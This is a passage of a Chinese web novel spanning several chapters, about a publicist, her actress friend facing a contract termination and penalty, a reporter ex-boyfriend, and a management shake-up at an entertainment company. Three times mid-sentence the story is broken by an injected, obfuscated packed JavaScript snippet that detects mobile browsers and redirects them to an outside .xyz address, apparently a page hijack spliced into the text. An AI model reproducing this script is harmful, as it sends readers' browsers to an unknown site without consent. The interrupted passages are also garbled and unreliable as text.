简晓夜暗自思忖:“完蛋,差点忘了我昨晚喷的香水刚好是猫猫最喜欢的那款,现在还没完全散掉气味呢。万一到时候它先扑我,这两位祖宗岂不是又要掐起来了……” 三人各怀心思,一起朝向宁家走去。直到并排站在了她家门口,才不约而同地生出几分“近乡情更怯”的感觉。 向宁搓了搓手:“准备好,我要开门了。” 简晓夜在一旁配合道:“倒计时准备——三,二,一!” 按下门把手,猛地拉开门,三人一起探头张望,在找到小猫的踪影之前,同时听到了它的呼噜声。 三个人六只脚在地板上轻轻挪动,缓步靠近位于客厅一角的猫窝,继而弯腰向下看去…… 猫猫睡得正香,察觉到有人靠近,只懒懒地抬一抬眼皮,见眼前都是熟人,便放松地咂了咂嘴,紧接着换了个睡姿,把自己卷成一个正圆形,几秒后便发出了更响的呼噜声。 这孩子,怎么不按剧本演呢! 陶温率先询问代理裁判:“这种情况,是不是应该算平局?” 简晓夜作为非专业的裁判,也不知道面对这种特殊情况该如何计分,于是现找了个理由,一边打哈欠一边说道:“啊——实在熬不住了,我得去睡一会。等猫猫醒了,先去找谁就算谁赢吧。” 说完就躲进了客房里,留剩下两人在原地面面相觑。 “向小姐对这个判定规则有什么意见吗?” “没意见。” “那就……” 一起等? “我也得去补个觉,你在客厅慢慢等吧。” 她才不要陪他一起等。 不等陶温反对,向宁就走进卧室,关上房门,还偷偷开了个罐头,放在专供猫猫通行的小门后面。 陶温无法,只得独自坐在沙发上,坐姿很是端正。 他知道向宁在客厅装了用来观察宠物的监控摄像头,所以不敢放松下来,时时刻刻都得注意形象。 然而理论是一回事,实践却是另一回事。沉睡的小猫迟迟没有醒来的迹象,陶温的肌肉却已经开始酸痛了。 斟酌一二后,在面子和里子之间,陶温选择两个都要。 他站起身来,慢悠悠踱步到窗边的照片墙附近,抬头去看高处的照片,意在用这个动作活动颈椎。 然而他看着看着就假戏真做,情不自禁去仔细观察墙上新增的照片,借此了解向宁近几个月的生活碎片。 猫,猫,野猫,毕业典礼,猫,深夜灯火通明的办公楼,猫,猫…… “哟,还看呐?” 身后传来极轻的偷笑声,陶温回头一看,简晓夜斜倚着客房的门框,面上毫无困倦之色。 经历了跌宕起伏的一夜,她能睡着才有鬼了。 陶温摸不准简晓夜的态度,但明白她是最有必要拉拢的战友,于是主动示好道:“刚才没找到机会跟你道谢,现在说,应该还不算太迟吧?” 简晓夜笑笑:“光用嘴皮子道谢啊?听起来可没什么诚意呢。” 陶温无意识地转了转尾戒,提议道:“要不你选个地方,我请你吃饭吧,叫上宁宁一起。” 简晓夜当然能看穿他的小心思,却不能轻易替向宁应承下来,于是摇摇头道:“别破费了,有个不用花钱的道谢方式,不知道你愿不愿意?” “什么方式?” “用你的账号转发我的回应长文 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14859539|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 陶温作为官媒的记者,天然带着一层职业光环,如果愿意在争议话题中公开站队,轻而易举便能拉动舆论优势。 但他并没有答应帮这个忙。 “你们放出的证据滴水不漏,舆论风向已经没有再度反转的余地了,我这个时候表态又有什么意义呢?” 简晓夜抱臂道:“就算是打顺风局,也没人会嫌队友多啊。” 陶温沉默了片刻才说出他真实的顾虑:“如果我们单位没有那么多条条框框和不成文的规定,我肯定会帮你转发的。” 简晓夜并不像他想象中的那样失望,只是微笑耸肩道:“好吧,既然你都把这个理由搬出来了,我要是再苦苦相逼,那也太不识趣了。” 陶温本想解释一句,他不是在找借口推拒,而是真的因工作而受到许多限制,却被一声猫叫插了嘴。 喵——呜! 声音悠长慵懒,好像在说:“朕——睡醒了!” 简陶二人齐齐扭头看去,只见猫猫从窝里爬出来伸了个懒腰,慢吞吞走了几步,左看看,右看看,喵喵两声,转头就去卧室找向宁了。 或者,是闻到了罐头的味道? 简晓夜见状,摇着头调侃道:“看来知己知彼,也未必就能百战不殆啊。陶大记者这么有原则的人,应该也会心甘情愿地遵守游戏规则吧?” 陶温叹一口气:“愿赌服输。” 目送陶温离开以后,简晓夜没有敲门,直接走进了向宁的卧室。 只见猫躺在人怀里,人坐在地毯上,母女俩大眼瞪着圆眼,一个比一个清醒。 简晓夜在向宁的床上躺了下来,闭上眼朝向宁扔去一个软枕:“就知道你没睡。” 向宁显然已经习惯她这样不见外的举动,也没觉得有什么不妥。 “呀,被你看出来啦。”她将软枕垫在腰后,抱着猫猫靠在上面,“没意思,那他肯定也看出来了。” 简晓夜八卦道:“他求复合的心思都写在脸上了,你到底是怎么想的?” 向宁摸着猫猫的脑袋,仿佛在跟它对话:“你说,他喜欢我吗?” “废话。”简晓夜闭着眼翻了个白眼,动作难度有点高,翻得她眼睛疼。 “那如果我说,他只喜欢二分之一的我呢?” 简晓夜睁开眼,在床上翻滚半圈撑起上半身,不解道:“什么意思?” “意思是——他只喜欢我那所谓‘善良’的一面,却始终没有接受过我的阴暗面,无法理解我的固执、自私、和虚伪,对了,尤其是我这份充满谎言的工作。” 简晓夜不敢苟同:“如果是这样,他为什么还要来找你求复合呢?” “因为……”向宁也思考了很久,直到刚才听见陶温和简晓夜的对话才想出答案,“一时冲动。” “这算什么原因嘛?!”简晓夜显然无法接受这个答案。 “他在短时间内接受了太多信息,来不及剖析疑点,又通过录音误以为我昨晚曾陷入险境,就下意识地相信我在这起事件中是完全无辜的受害者。甚至,是在险境中反过来保护朋友,同时致力于为公众揭露真相的百分百正面人物。” 简晓夜沉默不语,大约已经猜到了她接下来要说的话—— “可是陶温太了解我了,等他冷静下来,要不了多久就能看穿我的春秋笔法,看穿我在所谓‘正义’之下隐藏的阴暗面。” 简晓夜忍不住反驳:“可咱们对杜琮的各种指控并没有不实之处啊,难道为了规避舆论风险而做出的自我美化和包装也算‘阴暗面’吗?” “是啊。”向宁毫不犹豫,“他那样一根筋,看人看事都免不了要带上非黑即白的滤镜。那话怎么说的来着?哦……‘正义不绝对,就是绝对不正义’嘛。” 简晓夜还想跟她争论,不料刚起了个头,就被一阵手机铃声岔开了思路。 “接呀,你的手机。”她说。 “什么记性!备用机,你的卡。”向宁把手机扔了过去。 简晓夜定睛看去,迟疑道:“陌生号码,要接吗?” 向宁闻言,翻身上床与她并排趴着:“接,开免提。” “喂,您好,请问是简晓夜女士吗?” 电话一接通,还没等这边发出声音,对方就先出了声,迫不及待似的。 向宁觉得那声音十分耳熟,大概率在工作场合听过,是谁呢……法务?还是人事? 对方并没有给她留出头脑风暴的时间,确认完简晓夜的身份以后,立刻进入了正题。 然而他接下来说的第一句话,就让向宁二人齐齐变了脸色。 30. 初恋男友 “解约??星桥疯了吗?简晓夜又没做错什么!” “笑死,粉丝还洗呢,解约公告里写的清清楚楚,简晓夜不服公司管理,擅自退出剧组,不解约难道留着过年啊?” “有脑子的人都能猜到是怎么回事吧,肯定是杜琮他干爹施压了啊!解约公告不过是一张纸,原因想怎么写都行,录音才是实打实的证据好吧。” 热搜榜上,简晓夜被公司解约的话题居高不下,各大娱乐论坛也讨论得热火朝天。 虽然大多数人仍然站在她这边,可是等着看乐子的队伍也越来越壮大了。 被指控参与霸凌的剧组很快便公开发出律师函,既然简晓夜中途毁约,那就得按合同规定的两倍片酬赔偿违约金。尽管底下的评论都在责骂剧方,但是从法律意义上来说,他们的要求也挑不出错来。 网络上的骂战久久不停,简晓夜却没有心思围观。 她现在正忙着算钱呢。 从大四到现在,她拍过的戏并不算少,虽然担任配角居多,却也挣到了相当可观的片酬。 如果没有只会伸手要钱的吸血家庭拖后腿,那笔违约金她随随便便就能砸到对方脸上。 可是现在掰着指头算一算,她真正给自己留下的存款并不足以应对这次危机。就算把全部家底都拿出来,也有二十万的窟窿补不上。 看眼下的情况,只怕短期内也接不到什么戏约了。现在发私信来找简晓夜合作的全都是直播平台,只盼能榨干她身上的最后一点热度,为他们涨一涨带货销售额。 这是她最不愿意走的一条路,但是,如果实在没有别的办法,是不是也得捏着鼻子走上去呢? 简晓夜这边在发愁,星桥那边也在担心,生怕她仍有还击之力,导致他们拿不到呈业集团的投资。于是他们决定先“切除”她的“智囊”,即对向宁下手。 这活并不好干,只有一名主刀医生能用——乔煦晗。 “宁宁,你现在和晓夜在一起吧?”她打来电话,开门见山。 “嗯,乔副总监是来替林总传话的?”向宁很少对乔煦晗使用这个阴阳怪气的称呼,相当于对她表明了自己的立场。 “替他传完话,还有我自己的话要说,你想先听哪个?” “先听坏消息。” “林总的意思——晓夜现在已经不是咱们公司的艺人了,希望你顾全大局,不要私下给她提供帮助,否则就是在和公司作对。” “猜到了。那你自己的话呢?是好消息,还是另一个坏消息?” “你就多余问。”乔煦晗知道向宁是什么脾气,自然不愿为了公司跟她生出嫌隙,“该管就管,该帮就帮,别太明目张胆就行。还有,别用公司的资源,不然运维第一个就查到你头上。” “知道了。”向宁脸上总算有了笑容,语气也软了下来,“谢谢煦晗姐,你就是我——不,是我们的亲姐。” 挂了电话,向宁关切地问简晓夜:“算出来了吗,还差多少?” 简晓夜垂头丧气地伸出两根手指。 “什么意思?”向宁捏住她的手指,想活跃活跃气氛,“二?耶?” 简晓夜却没心思跟她开玩笑,愁眉苦脸道:“二十万。” 向宁平时就有记账的习惯,因而对自己的存款了如指掌,当即表示:“我先帮你填十万,剩下的,咱们再想办法。” 简晓夜见她这样爽快,不由低下头红了眼眶,无言许久才强压着哭腔道:“有时候,我会觉得自己不配你对我这么好。” 向宁捏住她的脸,太瘦了,捏不起二两肉。 “经了杜琮的事,你怎么还不长记性呢?我告诉你,我可不是什么救世主。只是给你一点蝇头小利而已,后面还有更大的阴谋呢!” “哈?”简晓夜止住眼泪,仿佛真被她演了进去,“什么阴谋?” 向宁翘起二郎腿,叼着空气雪茄,故意用油腻的声线说道:“小妞,姐看人最准,认定你就是下一代大满贯影后。所以……十万块,买你一个未来经纪人的位置。你给姐把它留好了,等你功成名就,我可是要坐享其成的。” 简晓夜终于破涕为笑,郑重道:“好,这个位置,非你莫属。” 向宁满意一笑,又问:“剩下十万块,你有什么想法吗?” 简晓夜摇摇头,冷笑道:“我父母一听借钱两个字,就开始哭穷。其他亲戚朋友更不用说了,都跟躲瘟神一样躲着我。” 话音刚落,猫猫就从向宁腿边跑走,踮着小碎步在简晓夜身边绕了几圈,好像在说:“喵~我不躲你!” “没事,不用急。”向宁摸一把猫猫尾巴,继而起身来到客厅。 抬眼看去,墙上挂着两面时钟,左边的是北京时间,右边的则是华盛顿时间。 “现在那边还是半夜,咱们再等几个小时。” 简晓夜心下了然:“你不会是要去找你阿姨借钱吧?” 向宁点点头。 公司上下很多人都知道向宁有个有钱的“阿姨”,却不知道她姓甚名谁,更不了解她们二人的真实关系,简晓夜却对这些谜题的答案一清二楚。 那位神秘的阿姨名叫向晚蘅,本是戏曲演员出身,可惜年轻时意外倒嗓,于是转投了影视行业,十余年来拿过许多主流奖项。 三年前,她忽然宣布隐退,自此远赴海外,转行经商,生意也做得顺风顺水,实在是一位传奇人物。 对向宁而言,向晚蘅是她学业上的资助人,更是事业上的引路人,虽然跟她没有任何血缘关系,但是对她如师如母,恩深义重。 诚然,十万块对向晚蘅而言只是九牛一毛,可是简晓夜知道,向宁多年来一直为无法回报这份恩情而困扰。如果要她为了朋友再欠一笔人情债,无异于给她多压一层心理负担。 面对简晓夜的担心,向宁却表现得毫不在意,当夜就联系了向晚蘅。 那边正是吃早饭的时间,向宁先聊了几句家常,又对向晚蘅的身体健康表示了关心,劝她多注意休息,最后才提起借钱的事。 “阿姨,我有个朋友最近遇到了点麻烦,急用钱。您看……” 话还没说完,向晚蘅就问道:“需要多少?” “十万。” “人民币?” “对。”回答完又补上一句,“我们会尽快还的。” “这么点小钱,说什么还不还的,没必要。”向晚蘅摇头笑笑,“你那个朋友我认识吗?遇到什么麻烦了?” “是简晓夜,不知道您还记不记得,我们一个宿舍的。”向宁想了想,还是决定说得简单些,“她跟剧组有些纠纷,得赔一大笔违约金。” 向晚蘅虽然身在国外,却时常注意着国内的娱乐新闻和财经新闻,对简晓夜惹上的麻烦心知肚明。 可既然向宁没有主动解释内情,必然有她的道理。为了维护朋友的面子也好,为了不让她担心也罢,向晚蘅都没必要深究,索性权当不知道。 “小宁,你记住,能用钱解决的麻烦都是小事。”向晚蘅以前就经常这么说,不过这次多了后半句,“如果遇上大事也不用怕,有我在呢。” 她的话语温柔而有力,仿佛有一种令人安心的魔力。 向宁没有急着道谢,而是继续问道:“晓夜赔完违约金就没什么钱了,房租又是一大笔支出,所以我想,能不能让她搬到我这里来住?” “你自己决定。”向晚蘅不愿看到她这么见外的样子,“你自己的房子,想让谁来住都不需要征求我的意见呀。” 向宁住的这套房子虽然是向晚蘅出国前特意买来送给她的栖身之所,她却不敢真的把它当做自己的所有物。 她知道,凭自己那点工资 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14865172|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,也许一辈子都无法在这个城市,这个地段买一套如此宽敞通透的大平层。 即便如此,这套房子与向晚蘅对她的再造之恩相比,也显得微不足道了。 “对了,小宁,有件事差点忘了告诉你。” 听向晚蘅的语气,不像真的差点忘了,而像是略显生硬地用这种话术开启新的话题。 “您说。” “昭恒马上就要回国了,说是在律师事务所找了个工作。” 向宁这通电话开着免提,简晓夜一听到这个名字就无意识地瞪大了眼睛,又担心自己发出声音,连忙捂住嘴,在心里说了句:“OMG!” 昭恒。 蒋昭恒。 是向晚蘅的儿子。 也是向宁的初恋男友。 “马上就要回国了?” 向宁的心情有些复杂,一时不知道该作何反应,只能先将向晚蘅的陈述句改成疑问句复述一遍,大概相当于写作文时抄袭阅读材料吧。 “是啊,你们俩的房子就买在同一个单元,他回去了,也能和你互相有个照应。” 向宁纵然巧舌如簧,这个时候也成了榆木疙瘩,半天憋不出一句话来。 向晚蘅知道他们分手的原因吗? 应该还不知道吧…… 否则也不会说出“互相照应”的话来。 毕竟,他们分手分得并不愉快,这三年多也没有再联系过。 向宁大脑宕机时,还好简晓夜反应快,用手比比划划教她措辞,可惜向宁完全没看懂。 没办法,简晓夜只好跑到附近的书架上寻找关键词,还真找到了一本合适的英文书,可喜可贺。 向宁看着封面上被简晓夜指着的超大号单词,education,终于明白了她的意思。 “阿姨,昭恒哥才刚刚硕士毕业吧?我听说法学生学历越高越吃香,他们学校又那么牛,不继续深造有点可惜了啊。” 向晚蘅笑叹一声:“没办法,他非要回国,我也劝不住。要不……你帮我劝劝?” “啊?算了算了,我不行的。”向宁连声拒绝,她才不想给自己招事。 打完这通电话,向宁仿佛浑身无力,直直往床上倒去。 简晓夜一脸看戏的神情,在旁边撑着脑袋笑问:“哎,蒋昭恒回国以后,你俩楼上楼下住着,你打算怎么跟他相处啊?” “还能怎么相处!”向宁闭上眼睛,逃避似的往被子里一缩,“发挥默契,达成共识,假装不认识对方,老死不相往来呗!” 然而她不知道的是——大洋彼岸,向晚蘅一放下电话就跟蒋昭恒满含期待的目光撞了个正着。 “她怎么说?” “你说呢?跟我一样,劝你留下来继续念书呗!” 蒋昭恒移开眼神,黯然道:“我就说吧,从开始到现在,她一点都不喜欢我。” 向晚蘅无语地撇了撇嘴,克制住翻白眼的欲望:“你这不废话嘛?都分手三年多了,她要是还喜欢你,那才应该去挂个号看看脑子。” 蒋昭恒原本没觉得这话有什么不对,几秒后,忽然反应过来:“妈,你指桑骂槐啊?” 向晚蘅端起咖啡杯,若无其事道:“不好意思,没想误伤你的。” 蒋昭恒被亲妈取笑得吃不下饭,起身往楼上走去,打算回卧室继续收拾行李。 刚踏上楼梯,就听向晚蘅喊道:“昭恒,你的机票还能往前改签几天吗?” “不好说。”他认真思考并回答完问题,又想起母亲的话里常常藏着陷阱,于是警惕地问道,“你让我改签做什么?” 向晚蘅喝完咖啡,朝相反的方向走去,悠悠道:“无他,唯你妈忍不得恋爱脑尔。” 他早点回去,她的耳根子也能早点清净。 不过,可要苦了向宁的耳根子了。 31. 出大事了 卧室里的遮光窗帘效果绝佳,向宁一觉睡到了第二天中午。 难得有个不用加班的周日,向宁帮简晓夜搬完了家,时间就已经入夜。 “早睡。” “晚安。” 说完故作客套的台词,二人各回各屋,躺在床上却纷纷失了眠。 向宁本就是个夜猫子,熬夜熬惯了,失眠很正常。 简晓夜则是因为刚刚赔完违约金,看着户头上可怜的几位数字,肉疼得睡不着。 凌晨两点十五分,伤春悲秋的情绪已然无法克制,她终于给向宁发去一条语音消息。 “要不然,我就去直播带货算了。” 没想到仅仅数十秒后,她就收到了向宁的回复。 “你是哪来的外星人?严正警告,赶紧把这颗大脑的控制权还给我朋友!” 简晓夜很久都没有回复。 输入框里的句子由短变长,又由长变短,删删改改,总是发不出去。 凌晨两点半,她又收到了向宁的消息。 “睡吧。” 短短两个字就像一剂催眠药,立竿见影。等简晓夜再次睁开眼时,向宁已经去上班了,手机上有几个她的未接来电。 简晓夜把电话打回去,向宁却马上挂断,改用微信沟通。 [向宁]在开会,不方便接电话。 [简晓夜]哦哦,刚才找我什么事吖? [向宁]公司中高层大地震,喊你看戏。 [简晓夜]? 时间回到今早,向宁刚走进公司就察觉了气氛不对。 从电梯间出来的这段路上,“逆行”的人实在太多,仔细一看,多半都拿着离职专用的帆布袋。 进到办公室,麦秋正在企微上和人事部的实习生聊天,把电脑键盘敲得劈啪作响。 这两个职场新人起初只是报团取暖,后来却在一次次互通八卦的合作过程中建立了深厚的革命友谊。 见到向宁走进来,麦秋马上起身说道:“向宁姐,乔总监叫你尽快去一趟她办公室。” 照常递完消息后,麦秋又走到向宁近前,神秘兮兮地压低声音道:“出大事了。” 说这话时,她脸上的表情并无担忧或恐惧的影子,反而有几分意味不明的欣喜,看来这件“大事”对她们没什么负面影响。 向宁放下包,斜坐在办公桌边缘,好奇道:“小秋,看来你消息很灵通嘛,那就先给我透露点边角料呗?” 麦秋紧跟着在她身旁坐下,大大咧咧的,仿佛没有意识到自己屁股下面是领导的办公桌。 “乔总监的办公室换地方了。”其实麦秋不太确定,这算边角料吗? 向宁心里一紧:“换到哪了?” 在她们公司,办公室简直就是员工身份地位的象征,面积、装潢、地理位置等等都有讲究。 麦秋见向宁如此紧张,虽然不解,却也陪着收起了笑容,严肃地回答道:“九层东区,A01号办公室。” 向宁的表情没有太大的变化,因为需要在小助理面前注意形象。实际上,她早已在心里惊掉了下巴。 九层东区,是经纪部的工区。 子母A,代表该部门的核心领导。 01号,则是唯一的总监位置。 一时间,向宁心里喜忧参半。 喜的是煦晗姐升职了。 在副总监的位置上苦熬数年,终于把那个碍眼的“副”字熬没了。 忧的是煦晗姐不知为何被调去了经纪部。 一方面,那边早已各自划分了阵营,她空降过去未必能顺利接手工作。 另一方面,她离开公关部以后,张洋就成了这里的一把手,而且无人牵制,想怎么作妖都没有阻碍了。 面对向宁连珠炮似的提问,乔煦晗很有耐心,不紧不慢地一一解答。 “况星宸的经纪人被刑拘了,这事你知道吧?”她问。 “嗯。”向宁点头。 “简晓夜的经纪人消极怠工,间接给公司造成巨大损失,这你也知道吧?” 向宁想了想这句话的逻辑——赵姐消极怠工,对简晓夜被剧组霸凌的事不管不问不上报,才导致她被杜琮“救”走,进而导致接下来的一连串事件。嗯……也说得通。 乔煦晗盯着企微大群里实时变动的剩余人数,平静叙述道:“公司要追责。不是追责一个两个人,而是整治整个经纪部。” 向宁看了一眼垃圾桶里的金属工牌,叹息道:“所以就把原来的于总监开了?还连带着那么多员工一起倒霉?有点过了吧……” 乔煦晗摇摇头:“有些话,咱们俩关起门来没啥不能说的。老于这些年带着他的‘于家将’们,在公司捞了太多黑心油水,现在才开除已经是给他面子了。” 向宁不解:“既然林总早知道他捞钱的事,直接用这个理由开了他也很合理啊,何必等到今天呢?” 乔煦晗一说起这些不光彩的事,就习惯性压低了声音:“傻孩子,你当他是怎么捞钱的?” “贪污公款?” 乔煦晗不由一哂:“经纪部的公款有几个大子可贪?油水都在艺人身上呢。” 向宁顿悟:“你是说……阴阳合同,偷税漏税?” 乔煦晗往椅背上一靠,眼神满含深意,算是默认:“你想想,这种理由能摆在台面上说吗?老于是死是活不要紧,要是被记者听到风声,牵连了咱们公司的艺人,那后果就不堪设想了。” 向宁把椅子滑到她身边,问道:“难道说,林总调你来经纪部做总监,就是为了正本清源,顺便把以前的脏事洗白?” “也许吧。”乔煦晗不敢妄下定论,隐隐有些忧虑,“经纪部内斗的激烈程度和公关部不相上下,我只怕自己这个空降兵不能服众” “放心放心。”向宁拍拍她的肩膀鼓励道,“圈内谁不知道你乔煦晗是金牌经纪人出身,带着传奇女星向晚蘅过五关斩六将,闯出了一片天!区区总监之位,你肯定能坐稳的。” 乔煦晗被她逗笑:“借你吉言。” “其实,你要是实在心里没底的话……”向宁暗戳戳,不,是明晃晃试探道,“干脆就跟林总讲一声,把我也调到经纪部来呗!” 乔煦晗轻戳她的额头:“你以为我没提过吗?林总不同意!” “啊?为什么!” 他们不是多年好友吗?怎么这点小要求都不能满足啊! 乔煦晗用鼻子哼出一声不爽的叹息:“是张洋从中作梗,拦了一把,说你没有经纪人资格证。林总觉得有道理,所以让你先把证考到手,再申请调动。” “这算什么理由啊!”向宁抱怨起来,“你们部少说也有一半的人没考这个证吧。” 话一出口,向宁又反应过来,林总给出的理由往往不重要,重要的是他做这件事背后的逻辑。 思考片刻,她有了些头绪,却不能完全确定,于是向乔煦晗求证道:“张洋只负责充当白手套,找一个蹩脚的理由。真正不想让我跟你一起调动的是林总本人,对吗?” 乔煦晗欣慰地点点头:“不错,有长进。那么,原因呢?” 向宁把椅子滑回原位,面对面坐在她正前方,斩钉截铁道:“他古装权谋剧看多了,想过皇帝瘾!” 乔煦晗微微低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14870822|158356||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,一边用拳头抵着嘴憋笑,一边让她继续说下去。 “在他看来,让我跟你一起调动,就相当于让经纪部改姓乔,公关部改姓张。没了内部竞争,这两个部门的领导都无人制约,一旦坐大,他就有失权的危险。所以,他必须把我留在公关部和张洋接着斗,让你一个人应对经纪部四分五裂的原始阵营,借此稳固他自己的位置。” 乔煦晗笑意更盛:“你倒是把老林分析透了。那么,对他的‘计谋’有何评价?” 向宁撇撇嘴,言简意赅道:“神经。” 乔煦晗不置可否,问道:“如果以后能顺利转到经纪岗,你想带哪些艺人?” “蒋元磊。”向宁不假思索。 乔煦晗嘴角的笑容倏地僵住,半晌才动了动眼皮,慢慢呼出一口气道:“你想好了?” “四年前就想好了。”向宁脑中闪过几帧回忆,“从我决定进公司实习的那一天起,就没有动摇过。” 乔煦晗看她的眼神很复杂,有心疼,有唏嘘,亦有几分自惭。 “好,我会想办法帮你安排的。尽我所能。” …… 这天上午,公关部开了个简短的会议,主要是为了公布人事调动情况,顺便让众人一起拍拍新总监张洋的马屁。 向宁一贯和他不对付,自知没必要做这种毫无可信度的表演,张洋却好似没打算放过她。 “小向,开完会来一下我办公室。” 张洋将二郎腿翘得老高。还是万年不变的油头发型,腰带上亮着硕大的名牌logo,漆皮鞋尖反射着扎眼的灯光。 “哦。”向宁的态度很冷淡。 麦秋看见这两人的交锋,此时才反应过来——哎呀,早上脑子短路了!只想到乔总监升职是好事,忘了这把保护伞一走,张总监就要拿向宁姐开刀了。 新官上任三把火,向宁早就做好了被张洋刁难的准备。 “张总监有何指教?” 张洋对这个称呼很是满意,恨不得让公关部所有员工一人录一句音频,剪成鬼畜歌曲循环播放。 “小向啊,我知道,这个这个,你和老乔关系好,想调去经纪部,继续做她的左膀右臂。” “所以呢?” “我呢,也不是不近人情的人。既然你有这个需求,咱们也不是说不解决。但是啊,你得,这个这个,把经纪人证先考出来,晓得哇?” 向宁皱着眉,心中不免生疑。 张洋怎么回事? 笑得几乎把眼睛眯没了,讲话还夹带着那么多零碎,倒真像个领导的样子了。 “知道了,还有别的事吗?” 不管张洋的葫芦里卖的是什么药,向宁对他的态度都不会改变。 “啊,这个这个……”张洋一边挠下巴一边说道,“经纪部劝退了好多员工,暂时人手不够,这你也知道。我的意思呢,既然你以后要去那边,不如现在就当做过渡期。也就是说,在做好本职工作的前提下,也试着做一做经纪人的活?” 过渡期? 哼,说得好听。 实际上,不就是拿一份工资,干两份活吗? 向宁直视着张洋几乎眯成一条缝的双眼,阴阳怪气道:“既然您都想得这么周全了,我应该没有拒绝的权力吧?” 张洋起身走到向宁面前,用赶苍蝇的动作帮她拍了拍外套:“好好干,你就是未来的金牌经纪人!” 向宁后退一步,避开他的动作,冷脸道:“让我带谁?” “带一颗可怜的,无辜的,没了经纪人的小白菜。” 张洋抿嘴一笑。 “况星宸。” 32. 计划赶不上变化快 这一天对向宁来说太过漫长,况星宸的代理经纪人不好当,仅仅是帮他排下个月的档期就改了三稿,加班到十二点才算完。 午夜时分,家里的灯黑着,只点了几支香薰蜡烛。简晓夜没有睡,而是坐在客厅的地毯上,像是在等向宁,也像是在放空大脑,不知神思飘到哪颗星球去了。 喵~ 猫猫出言提醒她,向宁已经进门了。 “嚯,你在客厅呀,吓我一跳。”向宁打开顶灯,玩笑道,“这黑咕隆咚的,你一个人干嘛呢?偷地雷还是埋地雷啊?” 简晓夜神情木然,环抱双腿抬头看着向宁,说话又轻又慢:“今天,好像做梦一样。” “什么意思,不睡觉就做梦?”向宁伸手摸上她的额头,确认没有发烧。 简晓夜抵着她的手摇摇头,语气没什么变化:“我好像,有戏拍了。” “真的?那是好事啊!”向宁踢开拖鞋,盘腿坐在她对面,问题冒个不停,“什么样的戏?剧本拿到了吗?片酬怎么谈的?” 简晓夜低垂着目光,机械般重复着慢速摇头的动作,良久,终于停下来,抬眼与向宁对视。 “是……白鹤涯的戏。” 向宁没想到会再次听到这个名字,凭过去的印象问道:“是电影,《何妨袖手》?” “嗯,第二部。”简晓夜脸上终于有了些不一样的表情,欣喜中夹杂着惆怅,“是双女主的戏,她说,两个主角任我挑。” 向宁忍不住打断道:“等等等等,你确定这次这个‘白鹤涯’真的靠谱吗?” 她可不希望好朋友重蹈覆辙,再被杜琮戏耍一次,更何况简晓夜现在的经济状况和精神状态都经不起折腾。 “靠谱,你放心吧。”简晓夜用两根手指按住向宁的嘴角,给她摆出一个生硬滑稽的微笑,“白鹤涯是通过咱们大学班主任联系到我的,我们一起开了个视频会议。” “唔……杨老师的人品,还是信得过的。” 那么现在,向宁最关心的问题就变成了—— “白鹤涯,真的是祝璋吗?” 她在录音里听到杜琮这么说时,还以为这又是他随口扯的一个谎,毕竟简晓夜当时没有途径可以证伪这个说法,搞不好真能被他蒙混过关。 简晓夜为了让向宁彻底安心,没有用简单的是或否来回答问题,而是打开手机相册,把白天那场视频会议的截图展示给她看。 毫无疑问,白鹤涯就是祝璋本人。 这下向宁终于踏实了,可以全心全意地为朋友感到高兴。然而简晓夜却有些举棋不定,不知道该不该接下这份戏约。 向宁很不理解:“这还用考虑吗?这可是大爆电影的续篇,多香的饼啊!圈内多少人打破头都挤不进去,你怎么还想退缩啊?” 简晓夜几度欲言又止,最终还是被向宁追问出了理由。 “公司和我解约,是祝高远用钱砸出来的结果,就为了给干儿子报一箭之仇,可见他有多记恨我。白鹤涯……喔,祝璋,她之所以请我来演女主,未必是因为认可我的专业能力,更可能是出于一种怜悯,或者说补偿的心态。可她毕竟是祝高远的亲生女儿,我如果接了这个戏约,岂不是害她得罪了她父亲吗?” 一旦祝家父女离心,杜琮就可以坐收渔翁之利,那是简晓夜最不愿看到的结果。 向宁却笑着摇了摇头:“你就把心放在肚子里吧,祝璋要是不敢得罪她父亲,昨天就不会把美术馆的监控录像拿出来帮你打舆论战了。” 简晓夜一愣,好像是这个理。普通网友不知道昨天的匿名爆料人是谁,可但凡对祝家的恩怨和产业有所了解的人,都对此心如明镜,更不用提久居漩涡中心的祝高远了。 向宁继续说道:“祝璋只有二十八岁,祝高远却已经年逾花甲了。说句不好听的,我要是他,应该反过来害怕自己做得太过分,会得罪这个独生女。” 年龄是一方面因素,另一方面,祝高远近年的生意决策常有失误,给集团造成了许多损失,每次都得靠女儿力挽狂澜。 比起这些,祝璋在简晓夜的问题上跟他唱唱反调,又算得了什么呢? 听完向宁的分析,简晓夜心里压着的大石头仿佛变轻了许多。 “好,那我明天一早就给她正式答复。” 